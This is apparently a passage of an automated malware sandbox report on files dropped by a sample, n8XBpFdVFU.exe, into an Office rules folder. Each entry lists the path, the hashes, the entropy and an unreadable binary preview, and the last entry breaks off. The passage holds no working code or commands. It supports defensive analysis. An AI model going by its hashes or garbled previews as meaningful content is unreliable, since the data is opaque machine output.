Preview:	<?xml....,..mHyE.....2....C..P.R......#....+....=......t......a.\.<U.x!..)k~J3\.!.....r.@eq..V.P......J.w-..l..{...u...;.&..oH..c.\|L....\|.uy....j+`..'..c.[zB...6L...].W/G..r`}..H......bs..'..g1J......2......=.........F.v{.H4f....1>Rxgi..<.V\M...G`o......._...8.U..F9...=u...!?.>..#...<.....ke<.....U....n.Y..:[.V?=C.5:t.%:p.d....w...%...).=%.e.rt{..Y......:.!....Ki...L.?\..F....y..FFQy...k&....^.........8X.].I.....=uQ....H.tsK..../0.8.s.^.t..t..'.?..r..}........Wg...N?e.R0~....!7.K.4N....!kt.....M.`...*...n..C.).&.....Fj..Xt..r..F.$....p............b..B=us.obB......J.-YO...........:.M.i..r......x..Ka......._......X.s......h..,\8....t.U.....A.!T...._U.nJ...u..5.....2...!......h...0.#..I.h.$;.v5.O-....q.5y8.g.6\|....n8!...z.../aq..J..;...SWg......d>:7...[.P.6.....d..\|I...a.;.....P...^.a.Z.._......y..P...(.......R..!1`4.PQdj).E..Jpn.o.cp]..............a)....r.s..\|...S...p.X...b.g.k..pyz..U....]1@w..x............T....-..=}.aC.)Y....S..h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.881301329818468
Encrypted:	false
SSDEEP:	48:IJMsT7Uk1xsMRqa9iwQSDZLTaAEqWqQjeMD:IJMsT7B1KMkaZZxlWx5
MD5:	3D89018F4DEF2603E24CD1C8A929964B
SHA1:	040C78EBE09B6161163B3A1605E2C3AE1EA3D6EC
SHA-256:	0E31726D3A0D01A425AFA5007E5AFB3A0A81F4B7B3E89A3570226A4375522189
SHA-512:	A8F3616519CEBDCF99524EF3C0576421A07C67AA2F2A239BF9CA00F10B8BCD9546959C25D8EC186E7587BA2D2123CD698B88DA90EA02D0A6D4A474121ACE0A1B
Malicious:	false
Preview:	<?xml....LIWk...m...O.\....!#.M.9l..x..c......5.S..8...a..?..'...9._.b^..._.X-..^T.@j...'.U.....s.Q.8..<.K.7.r..._S. g.q0Fs.....,Q..,.=.2:qo#..v.. .?...:..B.aA.`L..,...=..!tJwN.hR.JC..................N..ao....T.#I...-.L..ri\|.".....N....K..d.7..4...i.B.Ui.5.hem3.>......u..~..6Skr.6..?u...U....>..'..w.O;......2.."zC8.._.[...B..Ir,........Na.V.j..C...9w...-,....#8.X..... .,L.z......E.TnD.1~.....^..U...Lr...1yi.`.k@..z2.\|.T..z..:.c6.b...<..HG[.{......2F#..,&..i&.ZI.u.i)+.=.D....?K.....#;&a7`.O...W...6...^......^.o.V..F8M.8.+f......p.4.....~.(.%..tF..N........m.x......1 ...{...x..o-..T..6...S.?.B`...so%.e.@..mc.e....t.VCCA).......A=..I........... .>j.0K....p...R...]...PK........\k.n.....](..c`..QVEa.[\.....w...c....MF~h.Za.aA`.......$CiOr....\|...@.e:.z..z7`.,.hEms..,...W......xm...A..tr.E.4.iS.9.J...7/.$,]....F..h.^....C....[.(...A..p..0........A..a.......0..w.R.@k..>..s .(Qj..N.aj..P`....".~.sV.'.k3mvF..F@.....$.9.J...,.a..K,R.a.-2.bs3..IC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.887784776698252
Encrypted:	false
SSDEEP:	48:wh7P9QhkvNSZyC+dg5BKj6hb197OZt7bzoF6+JmD:whP9BNSZyJdEnqZc6+J+
MD5:	1E049CBD20CE5EE1108FBF665A1E41E2
SHA1:	BECE95D098A1449A38E74D7D6050835F02B9D64F
SHA-256:	CD61EE57A6EA6D654B50E74A9B5113FCC396A72600E8440D9C409DC38177857E
SHA-512:	45E8FA781EA2D26CAE24194952EA5594C11C9D88D984890914DD8FB75D898C3ADF7764F1C91FD8BC911480EB3C36D97EF60D34A25C19982B3B7DC42AECA3459E
Malicious:	false
Preview:	<?xml.....\w.#.q,fk....UU......&.e..$/...g...s...)D....kR......`.j._#{=...w+...4..$.h..W.V"/A.\|8}.K.T..S.....:...@..3.h..j....l...-.k..!Z8.CHt.0e_.%8^......F._...s~..(...'..~..VQ..91A...O2..N1Z.."...."..j.`.a....\..4...bgL1...Uu^....r.....Q.....=eh%.I.>..lw.[.....kP;.P...a./<...s..n..."....R....n...I..o..!..n.....).U..,....b...N;jmnj.P.W.<..Z..."Z(..".{7u3....\|.%#%.."w..$I...."<.....k_..&)w.M".!..H.{..:f..9.w.}.i...S....`..[.$`.....I)/....0...2...C. o...-......m..47X......{.2........i.x..........g.....}.,x.^U.D......YN.nFXC3./G.L...;usT^.)...0~.....nJ-J....R......U85~&.......*0RC.........$....g.=.`$.~Fhl..Uw......!M.0......U.v,....^..<.... .K..7...u.Nw..o.[..h.....$.A. ..M.Eu.r.6e.4)K..@b...bU0n2.q.....Q.I....I...?.E.[qX.$....H.B..v..<.E..y..l..\..Ko!.b...4..Z.....P.1(....-.;3.py.~R.s%.%i..99...X....9.....N..+...9s..T...(...u=.A...7)....._\\...g..t5.S....../."..3.0..V....@B'.k@......t\-...A".E..G..$..0..t/...kf..^}.\|%..>g...U.4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.877112061681935
Encrypted:	false
SSDEEP:	24:d+GWg9HkKSmUFLomYhLRobWnNgbAciqYynPfvH4TB3Q8eFXgv4Wf9b+4vUKxODbD:UfFKSmUFoRkWibAchPX/S3QM4A9KgxQD
MD5:	B74D20595DE87E21135FCEAD226DAEBA
SHA1:	E5BFAFAD2009FE55F6B878CDB496181D2B840DEF
SHA-256:	70BCB768F1E5063ED6D61C10EC0EAC418B3C50C23C9AC1B017D04D51179DA489
SHA-512:	349BCDB9DD4569344FCDB98EC8125EB2A99CEF6A7ED8B9B6DC16BDFA566CA14C04D23367169CDAAA1D5ADC6F45E93A7D63FF9A67886C735C24B625DC2FFF592E
Malicious:	false
Preview:	<?xml..............v:.G:T..}.....Q.c...>Q.ck.....j.!.r...\...P.i.^`I.'.D#n..a\.~2R...<..c0./o)....Z.T............M-g.p....z...W.]nh.....g..K.;Y=x.R....."-YW.C.4.R%...Z..Y..t..~..)[..s.u4....jJ.(..I...s.+....H.]....>.&.c.....0}......LY.....~..F....).K..n.=...Xm....r_.<...vn.....7..X..m}.......&d.......1......<..x...B.......a0...z?.....;0......3k..N.(t.q[.X..a..-.u7q695.=....C.6.{FTLjm.zg...x.I;.(.......B..w.Y..3K.=./O>Fp....t~.e7.W,#..d.....%9.........)nH.$............@=.....Ky.....;...M...N......U./...)..n..........x.;P.^...\|.X..qN....~k..&...0f\....`..`~w....S..Q..'.1.p.G\..........X.dE(.^..t.....G..H.B............M...JbF.@.o..l..7J)....?..9..q0iU....w...x..E..D.5-Y...z.....Yo........-..y.@.."..H@I..V!h=...}...-}.\.s.q..4B..h.&KOeu.*.a...\....#.H..KkD....%.n.:.!.wq14.>9..Y0........U...%..}.e.P....T8........[..X....-._.".Qb...s.).....@.$..l...B._>../.ea..:.X:?3.k.>.{....)...2.Fp.7.>..##.fJj.,f..0..V...X.P86.d.,...b.H.j.1..WX.1u .9Nn.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.865202181410292
Encrypted:	false
SSDEEP:	24:A4Ngx7Ag/k3JKq5H2FFcbZSBdp+NR3uBSLwmp3c8C9RtmvKQcj7dskBHbD:A4CxtkUqiuZm+jmSLwaUtxQcfH7D
MD5:	CFE274F2A04DD587E84D0595AB59B854
SHA1:	B2F18E8F76BD8880A8DA1D006BA3F09D790FDC29
SHA-256:	106481C31E02CA386A42AF542D3F2822419B5AD74F117CFE24A77807735B2BC9
SHA-512:	F5FEF881C0BB3E34C21F26AF7C497DA24880238BDD079213A3260323E6341D87DEAFA6A658E0FC0F80E7B5F28D56D6AC42F5B3D69DC8F20B4C6FA6509D5954B3
Malicious:	false
Preview:	<?xml=...i.;.vD..jG...~.oO......U.^kIF.+g ....5.......\D.}.I.s......b&....[....Bc...N..M..w 3.....H.E...&s..k..@QX.kI.A...R7....0b.<.NlC.h,M.=.dU.iB...H.5.:(.G.r..3... ...<..:.....Sp....Qa....\"t!..6...>...Lz.}g.r..[Q.s.~....&..+... N..........K.T..~.Od,.../...U.C....e.M.\|.5.e.....c....NH'..,..t:38....W.hCn.....%.. ...7C.v.>9......Pp.x<.`w.z...3\e.....4..2...tG.A....Kf.....^d.....>.x.Z.u.....>......5..B;f.....n..&N..6..z.. ).Y.)p.A..7y...7.T..e.......V...Z3...C[./.].k.uj.Mt.."'.v..8.J$.._w.Bo..{.o8....G.....u.2.$&1.v..V..7.wL..Ig....T..n.w.....0..........\|..x.Y.....q.6Q";5~a.S:pp...`....).x..-....B?z...F<..}...).H.).h......!w1.cE.2......6....t.6..;GbrL.g.....R......Bk*.9..Q..f..F.MJ.\|8...!.@..G"...+gz.~P...J.!Z...i...N.Ge.G........p..z.yi.,.@n.i.D.....^Y.0u...=dM!O..l-...n._6Sd8.l...+...C.."?(d.Ga....i.....j...e......+.Q4.^.b7..\|Rx.%gL9.OJL.~.....7.{...........r.3.+E.......E.a.>+.Fx$....YJ.)j./.w.9..X...@..O.){.`..)...@....l.,..Ue.V%}K.s.lQ\|u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.886196425127423
Encrypted:	false
SSDEEP:	24:AO3DitjS9tGARrO74VEyBd4LQv8/hDqP64tQrNj/GSv5nEugulhdQ7rwcBhObD:tutjSfGITE44s0lqPFE/Ge5nfdu/lhsD
MD5:	59A465A7CC46194750822856B7BC6F0F
SHA1:	511746FBA6DD6A63E80A992368EC2F335830BC9A
SHA-256:	FFEDAEBEC6D9AA525F594FC4BF8DD3C569E48DB6113BF6FE655FD083F179EBAB
SHA-512:	5E50EC81A843B2109072053097F938AECEC6E05105E748003C062900BCD09F9E96B5DCCA56FCA39898AEA053B902B6ADF02F1A91F1EA2910BE8B3E6B323D8F60
Malicious:	false
Preview:	<?xml.....2.(#[h.jU..\|##..@/[....rw..l.v>.b..,....,a..cc9.......+b...xr.cn...`m...p8.V...He.);...O.+...C.\|.}lr.}...0>...8>.B:...41p.;."....... :5.H...(.u..~.=9%u.q@..n.d....C{.?....\r.;...a=....!...p...R.{...'.Ta..dGT#..$..L...&..Nf....WA...).V.@.2$.....4.DFa.][.a....EC.......n"........0..^h.!..w..5V.3.x....qTDB...^..6.._......8.<..../^U..$;vB...kp.Smz.$"P..%iO..<.J...I...0......z2R...Hx...I.B.&..}..Q....Y..?.0.y..U#.'..".......@.8P..DJ.......%.M..~.7..D....K.EL.F..,....j....JY..6...@A2.6e\|.....g.B....m%.....#z........q...(.N "W.0Y..>..%..Re$..-...j(..4[.~.,3...,.S.?e.".&26.\.I....<[M.^O\|..M.U.'..E.?/..q=...F....X........$.....#.:.$1.V...6Q.........k..7<.5$.....i..P..r... ...7N...aET..GB.J.87.K....W.O.,....@[..7.}QO...g..T..$.1E..Q[..?...;)d.Z..iF...-R.\|S....z#..6.b..)......O.f.:G...g..*...".r.B.....1.....n%..@......([.6....?...@.&.].[.........%...xT....Tc.x...Y.f)..j.fR\|o"..Dt<Du.DU..Z.$ak.4{.).2uW..3..../.q]].......j..(W..~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.880547412152326
Encrypted:	false
SSDEEP:	48:+jMCp6USwo5I6Ffj8cVuUN6xJqH+eGvxcgG/TD:Irp6twoK+f4wCkelZcB
MD5:	3C088D93E57844167F89945FDA06FCD7
SHA1:	F7C48CD1EFCF510AAFCD1D281A455B6B501C3EE1
SHA-256:	E3B9C0C1B1A6510B5EE791EBACCDD032B295F1601A7564575892AA28EEF86E6D
SHA-512:	BFB9291B9E3F975735A3CD9143E34F5A7119F559CA2CE8721BD3CF8CA751EA9A6B8026C58A2D868298B02E4BAB376A98264EAD4174D040351A4A4787A843A9B7
Malicious:	false
Preview:	<?xml.@.e.]}`r..w.s.g.q..g${. W2Pl.v...C.].(.....6..-^RB...%(..".Z.&....s1.o.4.Ge_.......0..h).RkQz8J..5.C...o.u12...g......cQ..t...{....~...V..XF.d...Y...h'A.5.dVu.te;....xz#=.....`.D..M...s9:...W[...zp..WZ..........Zj4CG...........O...G.Z.Xp..N.K.X]..-4.q...7.B1.i?.....Z.T+6@.`.@...V..9....zP.omA^y.R.O_bb^g.mM1.\|.d.U....M..'.......q......Y^z....43....\|4<0I.tqp......v...Y#N..Y_a.I.....`^...i=.....K....9..].U<j.U...9..lr..#.....5..qy.fpXf.t....E..\.Ezi....}..q..p.......r[..]..V~...;'s.`....-.......&l..].D:.............sU2Z..[.....P..=..&...Z.......FC.,j6.Q.Ih....I#.N..._..V.7..t6`.'0.u./.....o.X.0.;..LJ....<w..{......'.&D.r..r......S.4....B..&=..-\....hyR.3X........,b7~.0.?.(@?.....kI.:}ir.MD.RT9.P.v..2a./..!s{.........\HP.b..D6.GV2..~.]...l~.f..=.t.`j.C.M...y..G.#h..V......g...G.I......../H....H.zv)...]4...2(@...x.'Z.C..$...4........lV....)N...y...F.U]......'...q.V[.7h.w.0...W..UL.....N.V......q.C=..#.J.y..r-T..T.7..5...<..9SV(n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.880191457903937
Encrypted:	false
SSDEEP:	48:WItQSGczCuWff3nSOqtlZhm5ge45ZIJeMotmBD:HeucvSZA5ge4vI3ots
MD5:	09CF5320C8FE7EF9B8EC665EF63CA590
SHA1:	E6B8997E33D9E5F66BDDF0723D2C7CC079DD3640
SHA-256:	4C65B469AF839B6721EAD80081A2C867CC338EA9FBEE67D964993150130F0FCD
SHA-512:	748329DA783F8FB52CF513D5BB23926D158F71E3F2A6A9E1D0C7142996DC4788B88D3A03AE77469EC1F14F140B5C0ECA2715B22E2E8C82BF14DA6DB33B04D2E3
Malicious:	false
Preview:	<?xml......W?.e...v..\|.v(.Fb.yU...@.._..0x.G.........i.;.G.6...{Z.Da.!Z,...n....q V.2.B..a......}........<.:}N....{.5.3~...6..rB-.....4.N....1...@.%go.b..U...M.......q.....L.^..F....Z;.T+D;.dl..D...\|.S...w.j;.@=A..qKB...gY./..:.I..X...Q.V....E.Z..r.CJ.D.&.....2..ds..9.r.L1...n....%.2=.-.o....I....@.........Jx..8..5w.?...\..C.dY...<..Y....B@...9.:..V..j.o\.....l._.Du.....f.`.EP[..<e..o..9.}a..!(MQ.X{."W.Ipx..c....B_...e....Q=.s....[.;1hu.;.D.3$.P..`Y\..Y.+...[.....Q..{.I.ts.:W.W.u<.&0.[..!"x.}q.O..R..D...%.S... ..j...5[6..l.....<.n.P+@.t......AJ....9Af...j.....b{%.R:X0.../.tK..5....ia../...9.#.....b...d.Z..-$....D..s=.....L.zF.......L. ..K.F.be...IA.s..,.. <D&.(D3..cM.B.!l.iM.4..BM.....}...K...$.g@D./.I.pP..#=n.{Jv..K.....T..,...x+t..q..zY..8.s......t.}UL....,......tf...~?..I....=,m._..`.3!..a...c.f~1c.<..j.g....x.......X..2..T.r.`3M...e?6EV6.A..-.....L......e.E.i..2.{.8.{.X.D.v..u..I...z...v....\..S..]C.....2e...!M....j..qZ1...b.N9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.876167739072535
Encrypted:	false
SSDEEP:	48:/vJ8tI+AIY7kUHSNKLQMKqfAw5a74tolrZ5xyi1ZoD:/vetI+3ikwnLhd5Xtw1nyiy
MD5:	833F60598A2283B87E27CA0D74ABB308
SHA1:	BB710791F2FE2E56323846B2983D21E58D304E1B
SHA-256:	9F949FC8247C4DB3A49698D869A7F48A9123401356E18A152F668F381E65D688
SHA-512:	F15CDC3418EF616EF1488EA905E5E94898FF61197F39E0CED40DFF88B95FA88A1603A3534B5216EFE0F21F3FA7FF969E41F7DAFCD40C32E36A9C57C04BFCB19D
Malicious:	false
Preview:	<?xmlx..2.9b.&..m...I\|......"C`...2}2.....u..ix...+;..\|...v.)..>.B......r...cL...j...y&N...M.9V..T.Ia%.)3......TY..;I.....f...W.S..L...S.. .x=.(x,C..E..fn.o.$]&tn....<&K..dL.61 ...'....[..s.....@...H.31..1.......Ks...}...^.vsC.....}."...C..10PE........zo.{+8f..yT.........K.....Yl....vhh2......fh8.v..x...nO..e..(aSj.K.g.. ........9.\|DmT.i..U;.....q...m.q..LW9i.?.l..<.......l.........Wg.j..r\|C6.........0...T.qT.WD....>.,....6.....T.q..@Y..$.Vy2FK.S.......%.K3%.Y.<.?._.<......g. g.....0[EY.........r"..3...#.d.".xt(...J...~qq.Mj...B.'..H@&.Zh\|,..`u.......H......p.....~f....4F..~.6{>...\|..f....x.0.3.-.e.V..J.:e.9..N..We.X....{...'/Ec....^9....v....x).h......%.y........%..?...Q..G.s0...<../A.P.=!n+W....P..=h.....q.23..ZjHb...va-.D.z]mE3.^.2..m`.h.1.....g....{..\.9.O.f.H....s.............}...c......`....\|...y..p..?gjQ.)g.-.....j.E..{.u u Z...k..\|x...B.3.?K.\|..%._O..&qe...'..E7.q..B....-.3w.U..e!".T/.... .......B.8....ae..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.862971302242403
Encrypted:	false
SSDEEP:	48:wsvwGo0JcEy1rwrXLqNb08mPYzJEI85rrD:wsbJnLOuYzGxh
MD5:	915C980F04A818B0FC272F0855C7D867
SHA1:	149E751B8166052D656D6A6139A78D491A30A2EB
SHA-256:	ACDD93B18FE6E93285DFB10E46222BD31B7214C9A010FC1FC43BBDC0161F85D3
SHA-512:	46565F5D5BAC20F44FC092B17B8DC8F1C1AAC994EEC7D03D65D9541018C0B2ECC93F8101568543D112B7CB3BA65C77F628B5EDC8F96CB3066DE38189EA5C2F43
Malicious:	false
Preview:	<?xml...-....y......[.......5.q..:('B...E......xM.....).IKB..V....LrU...V..__...J.....ff...B.....Kx.....Z..>._..8.o.?c.;Q.`?.,7V..5...G....>...F./V.\|5....^\|e.....`.Eu...F.....]...z.[.{^%ld.C.....`A...%..fF..$....P.q...l.4.Y..-.4........./............8..r%2..G.MT.+.V ........i,.8.9y[.(..c.#RG~.}.......k.8..........O.K...CM8...PU!p..Q...m.w......>...y7..... P......uL...w.b`j..:.9-..>..v...k.4Z..U.M..o....O....Z.F...v.q..v[........t..jU..7..e.=."..#'(...O..\..Rf.Zc~...]~..<.09.T.9.G....#........N.5GTV..).6).ZBU0}..."..Z.c.i%H..I.[......9..^9.BN....rWR.-.n...i......VL..!.\|%E)D.cP)..C..Ghe.z&D..0#.....t.v.........G..R!......@.. .aG9.....p`......5S.Tb..i........B..(';..%0..e..2..F.GMp..b8..".;....~.A....qu....`.(.BS,..ZB....ged...,.3.._\1i..B. +,D.O'....X%....../.\i..Dl..<...@.....m..{.?....N..8......C..}b.%5.\|.On/.<\|L."M6..t.Q......9.P.y....W..i...[.:.E...-7.7&.;......)..Z...0.L....p)..!........G..>.....,Vz.k`o.6......_P...5.E... Vt.DK.2..s...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.898439470107455
Encrypted:	false
SSDEEP:	48:Vt/QFu1qu/1E9zMwqJF9Apn2pPQ917Xo+NdLc2kc7D:f1quazMFL9A0O78+NdIlO
MD5:	5269F879DE95D5564CEA4623CC518F6B
SHA1:	B0D050659F7BB0976DB022916D61F5E27FB90AD4
SHA-256:	14CF2D17BDBBEAFF22A9827FB370A8308908C546EC8776FC8DF4BADE28F2B8DF
SHA-512:	4CCD8122C7BD83BC7D4C7A985ECB207369DF300A25E1A11AA470920A3B602DF615E533AE57A84D209EE68F6AA61C2ADEF93E6FD308028E496D5CAE8429D8BE33
Malicious:	false
Preview:	<?xml..bd.../.iU.l.0n.c..?'.t#8..q....W...0..E.....t..?.'"...v.....\....0@I...!I.... ...B.4Z ...$w2VcN.mf1..)....L........'...S~...?...faIa............:b,.mk%....4.Y....c..w.Q..>...F..p.oH......?`..V.6.3B.....[;......n+=......a^...x...9$...m..Q.^..\|...P.Q^.w"o.-....U%.t.v..l.....H....Q!0...x.=...\..0Uv......N.6Z.!.(.Fd....L.e..)L.5..k..o....V..\|6c..<..8...x.c.}.w(..I.h.?(......%.r....6.......+.\..\|2:Ap9........oQ...g.P...............G04.=.....)....b..#.r....5x....d.A.....Y..m......a0:..}.ul.x..h.....u.B.6.(.N.(z...Y...`\|.`.5w._Q....S..q.....\{Y.eo..m.D..b.u..gi...D....R.n)..X"..i.?.z.k:n...~l.....@.R..e..F.h..~.;......m....,.F..;...%..g..%`Y4.!}.z...E{...L...w...4.Y.p....W....}...X.9....]..D..y........#....Q.X.PE....]...#....TF...dm...8.Yf.dU...j...$...X..o..k....~!...V..H..8....sC]e.....^_.Gw.....2....+T.........!.fnBO..nL..B).=.).aq.Z.~.....MR../a.Uq....R.fm\{..#..,a....OL).#S..B.03.....4@.T`.iu.&..\.z..5l..c#e.I..+M......!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.878626185219919
Encrypted:	false
SSDEEP:	48:8s0t/0XPxmuzX9U/tGF4oK4zERQKXKBEVpmilCD:pXPxmuj6rovEUOfrw
MD5:	C67B47AD3F9E15BA1D8A6547297E0387
SHA1:	88A07CAFC6C10FE7182CF757C151F338A820113F
SHA-256:	6E2A5E0B5638E74751088FB435D6F069C388C66556D57736B79A74BB3FD1F7D6
SHA-512:	11A3475ADEBEE838C414509F074BFDAE41BC8505E542870C809E68E264D6CF9326A65E146590EDB5B1987A78350F4D213C08BAF8B8A8829A1ADF969EBA729F59
Malicious:	false
Preview:	<?xml.m.....7....q.@.{.q$...X.1.^GuJ........f}....]. Dl.+..>}..m....X...y.Z..EUk..E 9..GA!U.7j. n.F.n..&...h$y8:......8.....Y?..=0...O.[cY....K....p.)....P..Q..#.}..0.2n...N...).h.....]&...yT@..+.l....X...D..P.d.....YR.V;5.......2.....z........gY).a...jd.... .`_V...0.--8.A.O.g....\|.+G.....y....r.W]..t?....n.....NE.h.....h.X...+.>..A..a.q..........i...._.g..B..U\|h..F@(.....=.~.@5a]d..0IJ1.+.9......8z..{...uX.Z.X.c..l.u-.%....S...jGN.{}...Os.....B../........vt.C..]9...@...<.h.=m..zO7.\|.#.I..1..g..2.......p>.p...-.}w.M..B\|......xm..\...`...<.v.~LNY..q2sy.......z..\|[Lp..?....X_....E.=5..D'..r`...F...\|.-.G.<N......4.....F;9)...(k-.zM.vqw..+..V..V.<:.8.V...)S5..o.k.s. .:~@..7[..e}..G...;.....)h[$m..GX.&Ez..(.q...n...=....i....s.s...gD..,.g.9.t.Yf...D....p........S.<c*0..Ey...x_?uS..C.$..V..........h.....\"....T..^..].?.0.xQ..f..z`..xj}..'M.p..9.}....$e..7].l%....Cn.O...="......&.k..G.....%R....}$.5..#.l.,..R...V..U..4...5.B>...b4QF>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.887084775781891
Encrypted:	false
SSDEEP:	48:wrjW9ub2I2v4nUW5PZkRhfRGPQbr8YFp3T1d0Rw8YW7D:wr6QS93W5mDFbImJ8YW3
MD5:	06364C90C4CC8B24753F8D581A4E8DB6
SHA1:	375A2CB668BC3E8E1B429437414236A0A1BE3D4B
SHA-256:	4E0AF02D95590C49C0BF96696765C826749BF6CE98423B810701FBA660A33369
SHA-512:	47A3BBD5036357A4A9A6B8CFB27D8C87354AE17C97C0D748F437447880D519D094B51CF354DA0EF076E2FF3921383B37D30AD4F693E1AD043C16E6AFEEAC6713
Malicious:	false
Preview:	<?xml..\|....,...7d.pWC.6.DH... .BG.Q...hZ_...`f..e.....\.iOw?.I..9.;..^.r......d..)%.E.Ix...f.._.z...kb......%..........oa5p&a..._\|.T....[.U......A..:.#....jN.../......F(.=F.]..`Z'{...$./.>.$.Yt..UB.'.l...U...'a.....\...S..XL....=m.$.joGgo.]yG..x.y..s.CG4?...-q.N.!.@.ae..1$.k.(..C...[..z...JA..;4..e.....N..z\...C..N.tZ......=K....}.........y..V..K..d.U..&H...c.K.......6.).7...q-...iM.u.....:...Kn.a.a\._.O.l=Y..l9..~....W.h.ya......M.L...+.I7..i...9....l.cM..n(....&.\.+...Y`K.}.&:.....9.q.C.2<..o..Z......)....]w..L...Ko.7.k..k.J.2...\|...:...e.r..1.3z......V...S.)...R5Mw.K.....-.....G.7..K...=..hG./5......Yn2<j.O...(..4..\|....r..d...fe=`...# /...z.....Ld..l...Y.-7&:(.`.....<W....h.<5.^....U...Jl..+,..e...!...ph.......].NOp...W..C.h._..#]...H3.....k<...~e#.c6R.p....W..SW.?p.....B...0I.o:...1.K+..G...f?...._...<..d....:h..X..z..U.._..z...tA...V.._a.U..`.Hh...8jzL....*.p..Z.M....%[.%..0...=iN.Y.....P.....vv.....?T.s..)...Z..1h........o.....S..Cf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.877962054919727
Encrypted:	false
SSDEEP:	48:xOtK3Dl8NKQngGj0PnntCXjUqxvEkiq+leyYsl3aXAwD:K2DmNLngs0PntCAqxvEkiq+leU3A
MD5:	7363B4722AC1F70722CA09D41856B9EA
SHA1:	E77FF9C92C360C3AFD8BF475D9BE9A9D9D52289A
SHA-256:	F8E4D1AAE5B3A24C35E0D2A9AB183FE5568C680347422BD1B9E4A4EFCBEEE57E
SHA-512:	1B875C036D97B942A37BDB9DF133C7942DF83784B5DF2C314E9A67ED04968E660D29DC3417678BAF50EA36A33303E223564C825E94679762C2597FD103EF2665
Malicious:	false
Preview:	<?xml:>...1.N...gO.n.z.8."..v...Yu...?...\|6l...2......69.P....$.....x).....RL......1.....B/.Ey.Q.....)...f.<....%.u.{...JkxhPy..c.r.>...v...I.2...&...k..Z..~......@..J@.\|9..g.....ni.e..}D..w..^..=v.j....>+..#b...<n..]...b../.\|....k6..Q....k...!x..{.0.\b-x...O..Pw0..n......'f.J...Y\|O.!..0.H1r.h..V..{Ph...J.xm>.r.0.nA%t/.!..'%#...`p.Q\|..Hfu.#w..?.{....n.59\...)...(..U..I.Ho9M...iL.....ihE..."..Yg.l:..{...po.3!.B[..G..Z..V=.Ak.T.h.G}....bR.\|.........p6....kZ..S.^....0.s~V$.p`Ob2.l.`..........L.....q.z..........O..U.......WG.2j.B.?.O..WO.md.3jd$jmN3...\|p.....2..7.u..r.\|2~..+....ze.`..x.....4..F...B...j.T...&.8...c../...yq..O.W..@}.8.._o..o..m.. ..]..dG...R.+..V......-?............k..v&.h\s.]...+.o...#...mF..z&..L...r.:$.<.....5....N.'.]/;...7..2....`......X.q]..S...D"6.6.l.:. .3Rs.r.#.C4?.7..3...G4Z\`M@..KH.T...>......'..t.~...!Ig.],!:..U..O./6.t...%D..9.0d..[.L.r.d.@..p..}..O...\|T.f..\|N...w..qxVh.p...%\|.6.s. .tx.w...........).+Q._...f.q.t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.9029980163797635
Encrypted:	false
SSDEEP:	24:7L92s89TVBJaNGY8cI5Hb/grVV9rdrky+xbVsZIuwAsbeDJuwQKgZFzCaH+Rbhdh:7L9whVBIwYXIFErt7+8ZIu7bg7WzHpD
MD5:	9A4C9C261C412759627923BCE9B03A48
SHA1:	B7216CE36EC0C07006C8D6C6FA0B3ACA3BB4DA8E
SHA-256:	98208E4992F8E78150F1E55BE7164E0DF138D4D26ECD96CA899686FEE4169A29
